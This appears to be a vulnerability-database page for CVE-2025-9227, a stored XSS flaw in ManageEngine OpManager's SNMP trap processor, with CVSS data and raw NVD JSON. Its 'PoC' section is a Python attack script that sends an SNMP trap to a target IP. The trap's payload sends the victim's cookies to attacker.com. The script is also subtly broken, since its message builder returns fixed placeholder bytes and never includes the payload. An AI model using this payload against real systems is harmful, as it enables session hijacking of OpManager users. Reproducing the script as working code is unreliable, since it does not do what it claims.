Security Vulnerability Report
中文
CVE-2025-9227 CVSS 6.5 MEDIUM

CVE-2025-9227

Published: 2025-11-11 14:15:36
Last Modified: 2026-04-15 00:35:42
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine OpManager versions 128609 and below are vulnerable to Stored XSS Vulnerability in the SNMP trap processor.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ManageEngine OpManager versions <= 128609

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # SNMP Trap PoC for CVE-2025-9227 # This PoC demonstrates sending a malicious SNMP Trap with XSS payload def create_snmp_trap_with_xss(): """ Create a malicious SNMP Trap containing XSS payload Target: ManageEngine OpManager SNMP Trap Receiver """ xss_payload = '<script>document.location="http://attacker.com/steal?c=' + '"+document.cookie+""</script>' # SNMP Trap structure (simplified) community = b'public' enterprise_oid = b'1.3.6.1.4.1.9.9.157' agent_ip = '192.168.1.100' generic_trap = 6 # enterpriseSpecific specific_trap = 1 uptime = 12345 # Craft the malicious Trap with XSS payload in varbind trap_data = { 'oid': '1.3.6.1.4.1.9.9.157.1.1.1', 'value': xss_payload, 'type': 'OctetString' } return trap_data def send_malicious_trap(target_ip, target_port=162): """ Send the crafted SNMP Trap to target """ trap = create_snmp_trap_with_xss() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Construct SNMP message snmp_message = construct_snmp_message(trap) try: sock.sendto(snmp_message, (target_ip, target_port)) print(f'[+] Malicious SNMP Trap sent to {target_ip}:{target_port}') print(f'[+] XSS Payload: {trap["value"]}') except Exception as e: print(f'[-] Error: {e}') finally: sock.close() def construct_snmp_message(trap_data): """Construct SNMP Trap ASN.1 encoded message""" # Simplified SNMP message construction return b'\x30\x00\x02\x01\x01\x04\x06public\xa4\x00' if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve_2025_9227_poc.py <target_ip>') sys.exit(1) send_malicious_trap(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9227", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-11-11T14:15:35.657", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine OpManager versions 128609 and below are vulnerable to Stored XSS Vulnerability in the SNMP trap processor."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.manageengine.com/itom/advisory/cve-2025-9227.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02"}]}}